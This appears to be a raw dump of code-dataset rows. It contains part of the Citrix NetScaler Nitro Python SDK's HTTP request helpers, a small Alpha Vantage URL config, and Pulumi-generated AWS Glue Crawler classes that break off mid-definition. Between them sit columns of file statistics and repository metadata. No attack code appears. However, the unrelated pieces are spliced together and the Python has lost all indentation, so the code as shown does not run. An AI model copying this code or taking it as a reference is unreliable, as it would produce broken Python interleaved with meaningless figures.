def post_dataEx(self, service, request, opt=""):
try:
response = self._post(self, service, request, opt)
result = self._get_nitro_response(service, response)
return result[0]
except Exception as e:
raise e
def post_data(self, service, request, opt):
try :
response = self._post(self, service, request, opt)
result = service.payload_formatter.string_to_resource(base_response, response, self.__class__.__name__)
if (result.errorcode != 0 and result.errorcode != 1034):
if result.severity:
if (result.severity == "ERROR"):
raise nitro_exception(result.errorcode, str(result.message), str(result.severity))
else:
raise nitro_exception(result.errorcode, str(result.message), str(result.severity))
return result
except Exception as e:
raise e
@classmethod
def post_bulk_data(cls, service, request, opt=""):
try:
is_bulk_request = True
if cls.__name__ == "macroapi":
is_bulk_request = False
response = cls._post(cls, service, request, opt, is_bulk_request)
result = service.payload_formatter.string_to_resource(base_responses, response, cls.__name__)
if (result.errorcode != 0):
if (result.severity):
if (result.severity == "ERROR"):
raise nitro_exception(result.errorcode, str(result.message), str(result.severity), result.response)
else:
raise nitro_exception(result.errorcode, str(result.message), str(result.severity), result.response)
return result
except Exception as e:
raise e
def get_request(self, service, opt):
""" This method, forms the http GET request, applies on the netscaler.
Reads the response from the netscaler and converts it to corresponding
resource type.
Parameters:
service - nitro_service object.
opt - Options class object
Returns:
Array of requested resources.
"""
try:
if (service.isMasContext):
ipaddress = service.mas_ipaddress
else :
ipaddress = service.ipaddress
version = service.version
sessionid = service.sessionid
objtype = self.__class__.get_object_type()
protocol = service.protocol
# build URL
urlstr = protocol + "://" + ipaddress + "/nitro/" + version + "/config/" + objtype;
name = self._get_object_name();
if (name and len(name) > 0):
urlstr = urlstr+"/"+ str(nitro_util.encode(nitro_util.encode(name)))
if (opt or (service.warning)):
optionstr = ""
if (opt):
optionstr = opt.to_string()
if (len(optionstr) > 0):
urlstr = urlstr +"?"
urlstr = urlstr + optionstr
if (service.warning):
if (opt and len(optionstr) > 0):
urlstr = urlstr+"&"
else:
urlstr = urlstr+"?"
urlstr = urlstr+"warning=yes"
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ objtype +'+json','Connection': 'keep-alive'}
headers['User-Agent'] = "nitropython-ctxadc"
retry = True
retries = 0
while retry:
# set sessionid in headers
if service.isMasContext:
headers['Cookie'] = 'SESSID='+service.mas_sessionid
headers['_MPS_API_PROXY_MANAGED_INSTANCE_IP'] = service.mas_target_nsip
elif service.basic_auth:
headers['Authorization'] = service.get_basic_auth_str()
else:
headers['Set-Cookie'] = 'NITRO_AUTH_TOKEN='+ service.sessionid
response = requests.get(urlstr, headers=headers, verify = service.certvalidation, timeout=(service.connection_timeout,service.read_timeout))
if not response.ok:
try:
response = json.loads(response.text)
except Exception as e:
# HTML page is returned for Basic Auth Failure
error_msg = ""
# find the text-message inside h4 tag using regex
r = re.compile(base_resource.regex_for_h4_tag, re.IGNORECASE | re.DOTALL)
x = re.findall(r, response.text)
if len(x):
error_msg = x[0][1]
raise nitro_exception(NSERR_NOUSER, error_msg, "ERROR")
if not service.isMasContext and response["errorcode"] in [NSERR_SESSION_EXPIRED, NSERR_AUTHTIMEOUT] and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
# Re-Login
service.clear_session()
service.login()
else:
try:
response["severity"]
except KeyError:
response["severity"] = "ERROR"
raise nitro_exception((response['errorcode']), str(response['message']), str(response['severity']))
else:
result = self._get_nitro_response(service, response.text)
return result
except Exception as e:
raise e
def stat_request(self, service,opt):
""" This method, forms the http GET request, applies on the netscaler.
Reads the response from the netscaler and converts it to corresponding stat resource type.
Parameters:
service
opt - Options class object
Returns:
Array of requested resources.
"""
try:
if (service.isMasContext):
ipaddress = service.mas_ipaddress
else:
ipaddress = service.ipaddress
version = service.version
sessionid = service.sessionid
objtype = self.__class__.get_object_type()
objtype = objtype.split('_stats')
objtype = objtype[0]
protocol = service.protocol
# build URL
urlstr = protocol + "://" + ipaddress + "/nitro/" + version + "/stat/" + objtype;
name = self._get_object_name();
if (name and len(name) > 0):
urlstr = urlstr+"/"+ str(nitro_util.encode(nitro_util.encode(name)))
if (opt or service.warning):
optionstr = ""
if (opt):
optionstr = opt.to_string()
if (len(optionstr) > 0):
urlstr = urlstr +"?"
urlstr = urlstr + optionstr
if (service.warning):
if (opt and len(optionstr) > 0):
urlstr = urlstr+"&"
else:
urlstr = urlstr+"?"
urlstr = urlstr+"warning=yes"
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ objtype +'+json','Connection': 'keep-alive'}
headers['User-Agent'] = "nitropython-ctxadc"
retry = True
retries = 0
while retry:
# set sessionid in headers
if service.isMasContext:
headers['Cookie'] = 'SESSID='+service.mas_sessionid
headers['_MPS_API_PROXY_MANAGED_INSTANCE_IP'] = service.mas_target_nsip
elif service.basic_auth:
headers['Authorization'] = service.get_basic_auth_str()
else:
headers['Set-Cookie'] = 'NITRO_AUTH_TOKEN='+ service.sessionid
response = requests.get(urlstr, headers=headers, verify = service.certvalidation, timeout=(service.connection_timeout,service.read_timeout))
if not response.ok:
try:
response = json.loads(response.text)
except Exception as e:
# HTML page is returned for Basic Auth Failure
error_msg = ""
# find the text-message inside h4 tag using regex
r = re.compile(base_resource.regex_for_h4_tag, re.IGNORECASE | re.DOTALL)
x = re.findall(r, response.text)
if len(x):
error_msg = x[0][1]
raise nitro_exception(NSERR_NOUSER, error_msg, "ERROR")
if not service.isMasContext and (response["errorcode"] == NSERR_SESSION_EXPIRED or response["errorcode"] == NSERR_AUTHTIMEOUT) and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
# Re-Login
service.clear_session()
service.login()
else:
#response returned by MAS in case of error does not have severity..
try:
response["severity"]
except KeyError:
response["severity"] = "ERROR"
raise nitro_exception((response['errorcode']), str(response['message']), str(response['severity']))
else:
result = self._get_nitro_response(service, response.text)
return result
except Exception as e:
raise e
def delete_request(self, service, req_args):
""" This method, forms the http DELETE request, applies on the netscaler.
Reads the response from the netscaler and converts it to base response.
Parameters:
service - nitro_service object.
req_args
Returns:
Array of requested resources.
Throws:
Exception
"""
try:
if (service.isMasContext):
ipaddress = service.mas_ipaddress
else:
ipaddress = service.ipaddress
version = service.version
sessionid = service.sessionid
objtype = self.__class__.get_object_type()
protocol = service.protocol
# build URL
urlstr = protocol + "://" + ipaddress + "/nitro/" + version + "/config/" + objtype
name = self._get_object_name()
if (name and len(name) > 0):
urlstr = urlstr+"/"+nitro_util.encode(nitro_util.encode(name))
url_params_dict = OrderedDict()
if (service.skipinvalidarg):
url_params_dict["skipinvalidarg"] = "yes"
if(req_args):
url_params_dict["args"] = req_args
if(service.warning):
url_params_dict["warning"] = "yes"
urlstr += base_resource.construct_url_queryparams_str(url_params_dict)
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ objtype +'+json','Connection': 'keep-alive'}
headers['User-Agent'] = "nitropython-ctxadc"
retry = True
retries = 0
while retry:
# set sessionid in headers
if service.isMasContext:
headers['Cookie'] = 'SESSID='+service.mas_sessionid
headers['_MPS_API_PROXY_MANAGED_INSTANCE_IP'] = service.mas_target_nsip
elif service.basic_auth:
headers['Authorization'] = service.get_basic_auth_str()
else:
headers['Set-Cookie'] = 'NITRO_AUTH_TOKEN='+ service.sessionid
response = requests.delete(urlstr, headers=headers, verify = service.certvalidation, timeout=(service.connection_timeout,service.read_timeout))
if not response.ok:
try:
response = json.loads(response.text)
except Exception as e:
# HTML page is returned for Basic Auth Failure
error_msg = ""
# find the text-message inside h4 tag using regex
r = re.compile(base_resource.regex_for_h4_tag, re.IGNORECASE | re.DOTALL)
x = re.findall(r, response.text)
if len(x):
error_msg = x[0][1]
raise nitro_exception(NSERR_NOUSER, error_msg, "ERROR")
if not service.isMasContext and response["errorcode"] in [NSERR_SESSION_EXPIRED, NSERR_AUTHTIMEOUT] and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
service.clear_session()
service.login()
else:
#response returned by MAS in case of error does not have severity..
try:
response["severity"]
except KeyError:
response["severity"] = "ERROR"
raise nitro_exception((response['errorcode']), str(response['message']), str(response['severity']))
else:
result = service.payload_formatter.string_to_resource(base_response, response.text, self.__class__.__name__)
return result
except Exception as e:
raise e
@staticmethod
def is_desiredstate_api(resourcetype):
if inspect.isclass(resourcetype):
if (resourcetype.get_object_type() == "servicegroup_servicegroupmemberlist_binding"):
return True
else:
if (resourcetype.__class__.get_object_type() == "servicegroup_servicegroupmemberlist_binding"):
return True
return False
@staticmethod
def is_responseneeded(resrc_name, opt):
resources_list = ["techsupport", "ping", "ping6", "traceroute", "traceroute6", "macroapi"]
if resrc_name in resources_list:
return True
elif (resrc_name == "nsconfig" and hasattr(opt,'action')):
if (opt.action == "diff"):
return True
else:
return False
else:
return False
| 39.125527
| 406
| 0.555252
| 4,642
| 46,442
| 5.39832
| 0.079061
| 0.019554
| 0.023744
| 0.025141
| 0.836785
| 0.819546
| 0.807055
| 0.798037
| 0.77537
| 0.753262
| 0
| 0.003922
| 0.363141
| 46,442
| 1,186
| 407
| 39.158516
| 0.843324
| 0.221244
| 0
| 0.805674
| 0
| 0
| 0.065857
| 0.016046
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055319
| false
| 0.002837
| 0.021277
| 0
| 0.15461
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
836c1d9cd58da2be303f6293001397daed3a0a3c
| 490
|
py
|
Python
|
alpha_vantage_downloader/config.py
|
fricative/alpha_vantage_downloader
|
febd9c8ab149fc7ddc78219a8f2fd50b11659bc3
|
[
"MIT"
] | 2
|
2018-07-28T15:52:00.000Z
|
2018-10-21T13:58:48.000Z
|
alpha_vantage_downloader/config.py
|
fricative/alpha_vantage_downloader
|
febd9c8ab149fc7ddc78219a8f2fd50b11659bc3
|
[
"MIT"
] | null | null | null |
alpha_vantage_downloader/config.py
|
fricative/alpha_vantage_downloader
|
febd9c8ab149fc7ddc78219a8f2fd50b11659bc3
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
api_map = {'intraday': 'https://www.alphavantage.co/query?function=TIME_SERIES_INTRADAY',
'daily': 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY',
'daily_adjusted': 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED',
'weekly_adjusted': 'https://www.alphavantage.co/query?function=TIME_SERIES_WEEKLY_ADJUSTED',
'weekly': 'https://www.alphavantage.co/query?function=TIME_SERIES_WEEKLY'}
| 70
| 103
| 0.710204
| 59
| 490
| 5.644068
| 0.288136
| 0.12012
| 0.3003
| 0.33033
| 0.78979
| 0.78979
| 0.78979
| 0.78979
| 0.654655
| 0
| 0
| 0.002331
| 0.12449
| 490
| 7
| 104
| 70
| 0.773893
| 0.042857
| 0
| 0
| 0
| 0
| 0.792735
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
83cb9d585fd6dba56654f883860929f0533cee7b
| 59,456
|
py
|
Python
|
sdk/python/pulumi_aws/glue/crawler.py
|
aamir-locus/pulumi-aws
|
3e234b050129bde35d8e072a88bd608562f02142
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/glue/crawler.py
|
aamir-locus/pulumi-aws
|
3e234b050129bde35d8e072a88bd608562f02142
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/glue/crawler.py
|
aamir-locus/pulumi-aws
|
3e234b050129bde35d8e072a88bd608562f02142
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['CrawlerArgs', 'Crawler']
@pulumi.input_type
class CrawlerArgs:
def __init__(__self__, *,
database_name: pulumi.Input[str],
role: pulumi.Input[str],
catalog_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerCatalogTargetArgs']]]] = None,
classifiers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
configuration: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
dynamodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]]] = None,
jdbc_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]]] = None,
lineage_configuration: Optional[pulumi.Input['CrawlerLineageConfigurationArgs']] = None,
mongodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
recrawl_policy: Optional[pulumi.Input['CrawlerRecrawlPolicyArgs']] = None,
s3_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]]] = None,
schedule: Optional[pulumi.Input[str]] = None,
schema_change_policy: Optional[pulumi.Input['CrawlerSchemaChangePolicyArgs']] = None,
security_configuration: Optional[pulumi.Input[str]] = None,
table_prefix: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a Crawler resource.
:param pulumi.Input[str] database_name: The name of the Glue database to be synchronized.
:param pulumi.Input[str] role: The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
:param pulumi.Input[Sequence[pulumi.Input[str]]] classifiers: List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
:param pulumi.Input[str] configuration: JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
:param pulumi.Input[str] description: Description of the crawler.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]] dynamodb_targets: List of nested DynamoDB target arguments. See Dynamodb Target below.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]] jdbc_targets: List of nested JBDC target arguments. See JDBC Target below.
:param pulumi.Input['CrawlerLineageConfigurationArgs'] lineage_configuration: Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]] mongodb_targets: List nested MongoDB target arguments. See MongoDB Target below.
:param pulumi.Input[str] name: Name of the crawler.
:param pulumi.Input['CrawlerRecrawlPolicyArgs'] recrawl_policy: A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]] s3_targets: List nested Amazon S3 target arguments. See S3 Target below.
:param pulumi.Input[str] schedule: A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
:param pulumi.Input['CrawlerSchemaChangePolicyArgs'] schema_change_policy: Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
:param pulumi.Input[str] security_configuration: The name of Security Configuration to be used by the crawler
:param pulumi.Input[str] table_prefix: The table prefix used for catalog tables that are created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value map of resource tags
"""
pulumi.set(__self__, "database_name", database_name)
pulumi.set(__self__, "role", role)
if catalog_targets is not None:
pulumi.set(__self__, "catalog_targets", catalog_targets)
if classifiers is not None:
pulumi.set(__self__, "classifiers", classifiers)
if configuration is not None:
pulumi.set(__self__, "configuration", configuration)
if description is not None:
pulumi.set(__self__, "description", description)
if dynamodb_targets is not None:
pulumi.set(__self__, "dynamodb_targets", dynamodb_targets)
if jdbc_targets is not None:
pulumi.set(__self__, "jdbc_targets", jdbc_targets)
if lineage_configuration is not None:
pulumi.set(__self__, "lineage_configuration", lineage_configuration)
if mongodb_targets is not None:
pulumi.set(__self__, "mongodb_targets", mongodb_targets)
if name is not None:
pulumi.set(__self__, "name", name)
if recrawl_policy is not None:
pulumi.set(__self__, "recrawl_policy", recrawl_policy)
if s3_targets is not None:
pulumi.set(__self__, "s3_targets", s3_targets)
if schedule is not None:
pulumi.set(__self__, "schedule", schedule)
if schema_change_policy is not None:
pulumi.set(__self__, "schema_change_policy", schema_change_policy)
if security_configuration is not None:
pulumi.set(__self__, "security_configuration", security_configuration)
if table_prefix is not None:
pulumi.set(__self__, "table_prefix", table_prefix)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="databaseName")
def database_name(self) -> pulumi.Input[str]:
"""
The name of the Glue database to be synchronized.
"""
return pulumi.get(self, "database_name")
@database_name.setter
def database_name(self, value: pulumi.Input[str]):
pulumi.set(self, "database_name", value)
@property
@pulumi.getter
def role(self) -> pulumi.Input[str]:
"""
The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
"""
return pulumi.get(self, "role")
@role.setter
def role(self, value: pulumi.Input[str]):
pulumi.set(self, "role", value)
@property
@pulumi.getter(name="catalogTargets")
def catalog_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerCatalogTargetArgs']]]]:
return pulumi.get(self, "catalog_targets")
@catalog_targets.setter
def catalog_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerCatalogTargetArgs']]]]):
pulumi.set(self, "catalog_targets", value)
@property
@pulumi.getter
def classifiers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
"""
return pulumi.get(self, "classifiers")
@classifiers.setter
def classifiers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "classifiers", value)
@property
@pulumi.getter
def configuration(self) -> Optional[pulumi.Input[str]]:
"""
JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
"""
return pulumi.get(self, "configuration")
@configuration.setter
def configuration(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "configuration", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Description of the crawler.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter(name="dynamodbTargets")
def dynamodb_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]]]:
"""
List of nested DynamoDB target arguments. See Dynamodb Target below.
"""
return pulumi.get(self, "dynamodb_targets")
@dynamodb_targets.setter
def dynamodb_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]]]):
pulumi.set(self, "dynamodb_targets", value)
@property
@pulumi.getter(name="jdbcTargets")
def jdbc_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]]]:
"""
List of nested JBDC target arguments. See JDBC Target below.
"""
return pulumi.get(self, "jdbc_targets")
@jdbc_targets.setter
def jdbc_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]]]):
pulumi.set(self, "jdbc_targets", value)
@property
@pulumi.getter(name="lineageConfiguration")
def lineage_configuration(self) -> Optional[pulumi.Input['CrawlerLineageConfigurationArgs']]:
"""
Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
"""
return pulumi.get(self, "lineage_configuration")
@lineage_configuration.setter
def lineage_configuration(self, value: Optional[pulumi.Input['CrawlerLineageConfigurationArgs']]):
pulumi.set(self, "lineage_configuration", value)
@property
@pulumi.getter(name="mongodbTargets")
def mongodb_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]]]:
"""
List nested MongoDB target arguments. See MongoDB Target below.
"""
return pulumi.get(self, "mongodb_targets")
@mongodb_targets.setter
def mongodb_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]]]):
pulumi.set(self, "mongodb_targets", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the crawler.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="recrawlPolicy")
def recrawl_policy(self) -> Optional[pulumi.Input['CrawlerRecrawlPolicyArgs']]:
"""
A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
"""
return pulumi.get(self, "recrawl_policy")
@recrawl_policy.setter
def recrawl_policy(self, value: Optional[pulumi.Input['CrawlerRecrawlPolicyArgs']]):
pulumi.set(self, "recrawl_policy", value)
@property
@pulumi.getter(name="s3Targets")
def s3_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]]]:
"""
List nested Amazon S3 target arguments. See S3 Target below.
"""
return pulumi.get(self, "s3_targets")
@s3_targets.setter
def s3_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]]]):
pulumi.set(self, "s3_targets", value)
@property
@pulumi.getter
def schedule(self) -> Optional[pulumi.Input[str]]:
"""
A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
"""
return pulumi.get(self, "schedule")
@schedule.setter
def schedule(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "schedule", value)
@property
@pulumi.getter(name="schemaChangePolicy")
def schema_change_policy(self) -> Optional[pulumi.Input['CrawlerSchemaChangePolicyArgs']]:
"""
Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
"""
return pulumi.get(self, "schema_change_policy")
@schema_change_policy.setter
def schema_change_policy(self, value: Optional[pulumi.Input['CrawlerSchemaChangePolicyArgs']]):
pulumi.set(self, "schema_change_policy", value)
@property
@pulumi.getter(name="securityConfiguration")
def security_configuration(self) -> Optional[pulumi.Input[str]]:
"""
The name of Security Configuration to be used by the crawler
"""
return pulumi.get(self, "security_configuration")
@security_configuration.setter
def security_configuration(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_configuration", value)
@property
@pulumi.getter(name="tablePrefix")
def table_prefix(self) -> Optional[pulumi.Input[str]]:
"""
The table prefix used for catalog tables that are created.
"""
return pulumi.get(self, "table_prefix")
@table_prefix.setter
def table_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "table_prefix", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Key-value map of resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class _CrawlerState:
def __init__(__self__, *,
arn: Optional[pulumi.Input[str]] = None,
catalog_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerCatalogTargetArgs']]]] = None,
classifiers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
configuration: Optional[pulumi.Input[str]] = None,
database_name: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
dynamodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]]] = None,
jdbc_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]]] = None,
lineage_configuration: Optional[pulumi.Input['CrawlerLineageConfigurationArgs']] = None,
mongodb_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
recrawl_policy: Optional[pulumi.Input['CrawlerRecrawlPolicyArgs']] = None,
role: Optional[pulumi.Input[str]] = None,
s3_targets: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]]] = None,
schedule: Optional[pulumi.Input[str]] = None,
schema_change_policy: Optional[pulumi.Input['CrawlerSchemaChangePolicyArgs']] = None,
security_configuration: Optional[pulumi.Input[str]] = None,
table_prefix: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
Input properties used for looking up and filtering Crawler resources.
:param pulumi.Input[str] arn: The ARN of the crawler
:param pulumi.Input[Sequence[pulumi.Input[str]]] classifiers: List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
:param pulumi.Input[str] configuration: JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
:param pulumi.Input[str] database_name: The name of the Glue database to be synchronized.
:param pulumi.Input[str] description: Description of the crawler.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerDynamodbTargetArgs']]] dynamodb_targets: List of nested DynamoDB target arguments. See Dynamodb Target below.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerJdbcTargetArgs']]] jdbc_targets: List of nested JBDC target arguments. See JDBC Target below.
:param pulumi.Input['CrawlerLineageConfigurationArgs'] lineage_configuration: Specifies data lineage configuration settings for the crawler. See Lineage Configuration below.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerMongodbTargetArgs']]] mongodb_targets: List nested MongoDB target arguments. See MongoDB Target below.
:param pulumi.Input[str] name: Name of the crawler.
:param pulumi.Input['CrawlerRecrawlPolicyArgs'] recrawl_policy: A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.. See Recrawl Policy below.
:param pulumi.Input[str] role: The IAM role friendly name (including path without leading slash), or ARN of an IAM role, used by the crawler to access other resources.
:param pulumi.Input[Sequence[pulumi.Input['CrawlerS3TargetArgs']]] s3_targets: List nested Amazon S3 target arguments. See S3 Target below.
:param pulumi.Input[str] schedule: A cron expression used to specify the schedule. For more information, see [Time-Based Schedules for Jobs and Crawlers](https://docs.aws.amazon.com/glue/latest/dg/monitor-data-warehouse-schedule.html). For example, to run something every day at 12:15 UTC, you would specify: `cron(15 12 * * ? *)`.
:param pulumi.Input['CrawlerSchemaChangePolicyArgs'] schema_change_policy: Policy for the crawler's update and deletion behavior. See Schema Change Policy below.
:param pulumi.Input[str] security_configuration: The name of Security Configuration to be used by the crawler
:param pulumi.Input[str] table_prefix: The table prefix used for catalog tables that are created.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value map of resource tags
"""
if arn is not None:
pulumi.set(__self__, "arn", arn)
if catalog_targets is not None:
pulumi.set(__self__, "catalog_targets", catalog_targets)
if classifiers is not None:
pulumi.set(__self__, "classifiers", classifiers)
if configuration is not None:
pulumi.set(__self__, "configuration", configuration)
if database_name is not None:
pulumi.set(__self__, "database_name", database_name)
if description is not None:
pulumi.set(__self__, "description", description)
if dynamodb_targets is not None:
pulumi.set(__self__, "dynamodb_targets", dynamodb_targets)
if jdbc_targets is not None:
pulumi.set(__self__, "jdbc_targets", jdbc_targets)
if lineage_configuration is not None:
pulumi.set(__self__, "lineage_configuration", lineage_configuration)
if mongodb_targets is not None:
pulumi.set(__self__, "mongodb_targets", mongodb_targets)
if name is not None:
pulumi.set(__self__, "name", name)
if recrawl_policy is not None:
pulumi.set(__self__, "recrawl_policy", recrawl_policy)
if role is not None:
pulumi.set(__self__, "role", role)
if s3_targets is not None:
pulumi.set(__self__, "s3_targets", s3_targets)
if schedule is not None:
pulumi.set(__self__, "schedule", schedule)
if schema_change_policy is not None:
pulumi.set(__self__, "schema_change_policy", schema_change_policy)
if security_configuration is not None:
pulumi.set(__self__, "security_configuration", security_configuration)
if table_prefix is not None:
pulumi.set(__self__, "table_prefix", table_prefix)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def arn(self) -> Optional[pulumi.Input[str]]:
"""
The ARN of the crawler
"""
return pulumi.get(self, "arn")
@arn.setter
def arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arn", value)
@property
@pulumi.getter(name="catalogTargets")
def catalog_targets(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerCatalogTargetArgs']]]]:
return pulumi.get(self, "catalog_targets")
@catalog_targets.setter
def catalog_targets(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CrawlerCatalogTargetArgs']]]]):
pulumi.set(self, "catalog_targets", value)
@property
@pulumi.getter
def classifiers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of custom classifiers. By default, all AWS classifiers are included in a crawl, but these custom classifiers always override the default classifiers for a given classification.
"""
return pulumi.get(self, "classifiers")
@classifiers.setter
def classifiers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "classifiers", value)
@property
@pulumi.getter
def configuration(self) -> Optional[pulumi.Input[str]]:
"""
JSON string of configuration information. For more details see [Setting Crawler Configuration Options](https://docs.aws.amazon.com/glue/latest/dg/crawler-configuration.html).
"""
return pulumi.get(self, "configuration")
@configuration.setter
